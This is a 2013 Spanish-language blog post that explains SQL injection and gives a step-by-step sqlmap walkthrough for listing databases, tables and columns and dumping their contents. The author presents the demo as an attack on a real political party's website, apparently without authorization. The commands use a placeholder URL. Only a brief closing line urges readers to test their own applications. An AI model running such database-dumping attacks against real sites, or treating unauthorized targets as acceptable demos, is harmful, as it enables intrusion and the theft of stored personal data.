sábado, 21 de diciembre de 2013

Ataque por SQL Injection

Una de las técnicas usadas comúnmente para comprometer información en bases de datos, es el ataque mediante SQL Injection, en la cual se trata de ingresar código SQL, en cualquier aplicación que tenga un consulta no elaborada de una forma segura y que permita a un atacante extraer toda la información almacenada. 

Una forma clara de ver esto, es mediante el modelo de 3 capas establecido para prestar algún servicio en una red.
    Modelo 3 capas

El ataque se perpetra desde la capa de cliente donde se estable la alteración de la consulta SQL, en la capa del cliente se encuentra la aplicación por medio de la cual se visualizan los resultados, como por ejemplo el navegador web. Después de esto, la consulta SQL se analizada y preparada en la cama intermedia, para posteriormente ser lanzada a la capa del servidor, para ejecutar dicha consulta y devolver los resultados.

Este tipo de vulnerabilidades es muy común y suele detectarse en muchos de los casos con pocos esfuerzos, y suele utilizarse en muchas ocasiones para comprometer cuentas de usuarios, por ejemplo en tiendas online,  permitiendo hacer compras y cargarlas a cuentas de otros usuarios. En otros de los casos, muchos atacantes realizan un defacement.

Hoy en dia existen muchos programas que automatizan este tipo de ataques, entre todos los programas que hay disponibles en la red, hay uno que me encanta y es el sqlmap, el cual tiene ya un largo historial de vida y es muy potente, te dejare una pequeña demo del funcionamiento de este maravilloso software, para ello utilizaremos una pagina web vulnerable de un partido político.

 Lanzando un ataque contra gana.com.gt

Sqlmap te ayudara a descubrir toda la información almacena en la base de datos, para ello lanzamos el comando "sqlmap -u www.sitioweb.com/index.php?variable=1 --dbs"
Para obtener el listado de bases de datos disponibles.

 Listando bases de datos disponibles

 Una vez que tengamos las bases de datos disponibles, podremos solicitar que nos recupere todas las tablas disponibles en una determinada base de datos, para ello lanzamos el comando "sqlmap -u www.sitioweb.com/php?variable=1 -D basededatos --tables".
Listando las tablas en la base de datos.

Luego hay que determinar cuales son las columnas que tiene la tabla, para ello ejecutamos el comando "sqlmap -u www.sitioweb.com/index.php?variable=1 -D basededatos -T tabla --columns".   
Listando las columnas en una tabla.

Llegados a este punto, queda recuperar la información almacenada en las tablas, para ello tenemos dos opciones. Recuperar la información de determinadas columnas, para ello lanzamos el "sqlmap -u www.sitioweb.com/index.php?variable=1 -D basededatos -T tabla -C columna1,columna2 --dump". O bien podemos recuperar la información de completa de la tabla ocupando cada columna en la tabla, para ello lanzamos el comando "sqlmap -u www.sitioweb.com/index.php?variable=1 -D basededatos -T tabla test --dump".  

 Recuperando información de la base de datos.

Te dejo la DEMO en youtube para que la veas con mas detalle.
Video de ataque SQL injection con sqlmap

Así que si no le has realizando una prueba a tus aplicaciones para determinar di padecen de una vulnerabilidad de este tipo, es mejor que te preocupes en hacerla, pues no vaya a ser que alguien mas se ocupe de ello y te haga una mala jugada con la información que almacenas.

Saludos.
Lexer Pars. 

No hay comentarios:

Publicar un comentario